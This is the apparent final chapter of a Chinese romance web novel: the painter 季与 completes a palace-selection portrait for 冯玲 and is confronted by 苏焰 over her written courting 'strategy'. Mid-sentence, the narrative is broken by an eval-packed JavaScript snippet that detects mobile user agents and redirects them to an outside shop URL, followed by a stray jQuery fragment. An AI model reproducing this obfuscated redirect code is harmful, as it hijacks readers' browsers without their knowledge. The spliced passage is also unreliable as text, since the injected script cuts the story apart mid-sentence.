季与站在红玉身边,目送徐慕卿离开。
“也不知道何时能够再相见。”季与感慨道,所发生的一切都太快,快得让人来不及看清命定的轨迹就被时间的洪流推着向前。
红玉拍了拍季与的肩膀,笃定道:“会再见的。”
“对了,红玉姐,有件事情我想问问你。”两人一起进了屋,季与附在红玉耳边低声说,“你这次介绍的客户是不是从郢都来的。”
红玉眼中闪过一丝诧异,说:“你是怎么知道的?”
“那位小姐的婢女谈话时,我隐约听到什么进宫、陛下。”季与说,“所以这个客户到底是什么来头?”
“镇国将军冯将军家的独女冯玲。”
“看着不像。”季与回想起她见到的冯玲,体态圆润,肩背圆滚滚的像刚蒸好的白玉馒头,藕荷色软缎袄裙在腰间勒出两道明显的褶子,一看便知被生养的极好,带着被宠溺的骄纵气。
“冯老将军一生在外征战,老来得女,自然是骄纵了些。”
“是我带有偏见了。不过,听你的语气,是熟识?”
“只是打过一些交道,算不上熟识。”
“那画?”既然是红玉认识的人,打听出画的用途就简单许多。季与原本并不在意这些,但郢都生变,让她不得不小心为上。她只想安安稳稳地过日子,并不想牵扯进诸多事端中。
红玉略带心虚地看了一眼季与,说:“实不相瞒,冯玲是看过若蝶的画像才决定找你的。”
“跟若蝶有什么关系?”季与不解地问。
“她来看过若蝶的真面容。”红玉抿了一口茶,跟季与解释道。
季与瞬间明白了红玉的意思,“你是说,她想要的画的效果就如同若蝶那般,改头换面?怪不得我先前画的两幅画,她都不满意,原来症结出在这里。可她要那样的画像做什么,以她的出身,并不需要像若蝶那般取悦别人来换取名气。”
季与说着,猛然想到什么,瞪大眼睛不可置信地看向红玉,向她求证道:“莫非……”
“我原以为冯玲找你只是想简单地画一幅肖像画,可听闻郢都传来的消息后,恐怕事情没这么简单。若你听到的真是进宫二字,只怕你给她画的正是她入宫选妃的画像。”红玉的眉眼极为罕见地簇成一团,“这单生意,只怕是已推不得了。这样,我这几日派人暗中跟着你,以防万一。”
“倒不用,这两日相处下来,他们似乎对我并无恶意,只是对画百般上心,诸多挑剔。”季与现在只想尽快画完这一单回毒教,免得再生事端。
“那不行,我既然答应了苏焰,就不能让你在我的地盘上出事。”红玉不容分说道。
季与知道自己拧不过红玉,便随了红玉。
回到房间后,季与拿出这两日为冯玲画的草稿,凝神思索起来。冯玲会对画不满其实在她的意料之中,她对冯玲确实不如徐慕卿和若蝶那般上心。一日是因为苏焰在外等着,她想尽快了事,好出去见苏焰;第二日是因为苏焰的离开,心情不好,依着自己的想法又草草画了一遍。
接连两天,她竟忘了问冯玲想要什么样的画作。
说什么女人只会影响男人拔刀的速度,依她看,男人才是会影响她身为画师的专业度。
再见冯玲后,季与没再隔着距离观察冯玲,给她作画。而是干脆坐到冯玲面前,开诚布公地问她:“你想要什么样的画?像若蝶那般有倾城之姿,端庄温婉吗?”
冯玲一个眼神示意身边的丫鬟退下,反问道:“你都知道了?”
季与点点头。
“说实话,你陡然问我想要什么样的画,我还真说不上来。”冯玲摊开季与曾为她画的两幅画,很像她,但她觉得皇上不会喜欢。
“你既然不想要改头换面,又为何会找到我?”
“因为我听闻陛下在登基之前,曾有一位心爱的女子一直伴他左右。”
季与的身体往后倾,双手放在胸前,呈防御姿态,“我已有倾心之人,不会对你构成威胁。”更何况东方苍梧喜欢的也根本不是她。
冯玲见季与这般戒备,反倒噗嗤一声笑了出来,原本骄纵的眉眼柔和了几分,摆手道:“你别紧张,我不是来试探你的。你说,陛下有可能因为一幅画而喜欢上我吗?”
“你是为了让陛下喜欢上你?”
“身在王侯将相家,婚姻大事总是身不由己。有些事情既然改变不了,便只能改变能改变的。”
“那你对陛下可有情意?”
冯玲摇摇头,不是代表没有,而是不知道,“我只远远地见过几面。”
季与下巴抵在笔杆上,一边感慨冯玲的身不由己,一边思索着画像。就在季与愁眉不展之际,师父曾经为东方苍梧和莫涵樱作的那张画跃入季与的脑海中。
她好像知道该怎么帮冯玲了。
为了赶在和苏焰约定的日子前完成画作,季与一直在明月楼和冯玲的住处来回奔波。
最终呈现出来的画作是这样的:身形和样貌都是依着冯玲画的。季与倒也没那么实在,为了画作看起来更加美观,还是把冯玲的轮廓画小了一圈。只不过画上的冯玲的眼睛不是她的,而是被季与完完全全画成莫涵樱的样子,不论是轮廓还是神态。
季与把画交给冯玲的时候,心里其实是没底的,但她已经尽了自己最大的努力,之后会怎样只能看冯玲自己的造化。
“今后多保重。”季与说完,便跟冯玲道别,走出冯玲住所。
迈出门槛的时候,季与抑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17031956|190651||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
制不住内心的喜悦,蹦跶着跳下台阶,朝明月楼匆匆赶去。因为明天就是她和苏焰约定好,前来接她回毒教的日子。她得赶快回去将行李收拾好,回去过衣来伸手饭来张口的好日子。
季与迎着光,在街边的槐树下看到一个熟悉的身影。季与欣喜过望,迈开步子朝那道身影飞奔而去。
那道身影背着光,季与没第一时间发现他脸上讳莫如深的表情。
苏焰两天前在季与的房间里不小心翻到季与用她鸡爪爬出来的攻略,又回想起季与落水后的所作所为与攻略上所写的别无二致。苏焰的背后升起阵阵寒意,他完全不敢想这段时间以来,季与口中的喜欢,并非出于本心,而是依着攻略步步为营。
苏焰当晚便做起噩梦,梦里是崖边凛冽的风,他的身体不断下坠,耳边是呼啸的风声,还有两道模糊的人影立在崖上。莫涵樱的讥诮,季与的浅笑,竟诡异的重合在一起,化作一把淬了冰的尖刀,狠狠扎进他的心脏。
他惊出一身冷汗,猛地睁眼时,窗外还是沉沉夜色,锦被早已被冷汗浸透,黏在身上,冰凉刺骨。
苏焰再也无暇顾及教内的事务,快马加鞭地来到永济城,找季与当面问清楚。
可当他站在槐树下,看着季与迎着光,脸上是藏不住的喜悦朝他飞奔而来的时候,两天以来的猜忌、痛苦顷刻间灰飞烟灭。
那些辗转反侧的夜,那些锥心刺骨的疑虑,在季与这般滚烫的欢喜面前,竟显得如此可笑。
风掠过槐树枝桠,落下满地碎玉。
苏焰在飘落的槐花中展开双臂,稳稳地接住飞奔而来季与。
“不是明天吗?你怎么会提前来?”季与跑得急了,额角沁出细密的汗珠,脸颊泛红,连呼吸都带着几分急促,却掩盖不住她的欣喜与雀跃。
“因为我在你房间里发现了样东西。”苏焰开门见山地说道。
季与瞪大了眼睛,眼珠子在眼眶里心虚地转了一圈,手也老老实实地从苏焰身上放了下来。
“什、什么东西?”季与强装镇定,声音却忍不住发颤,直觉告诉她,能让苏焰着急赶来找她的,定然不是什么好东西。
苏焰从怀中掏出季与写的那张纸,摆在她面前。
季与眯起眼睛,盯了好一会,才认出纸上写的什么。“这都是我上大学的时候学的。”季与含糊不清地解释道。
“什么大学,教你怎么追男人?”
“说来话长,选修,选修的……”
“……”
“苏焰,我饿了,先去吃饭好不好。边吃边跟你说。”
风过,槐香满巷。
远处的暮鼓,沉沉敲响。
暮色温柔,照在两人相依的身影。
——全文完——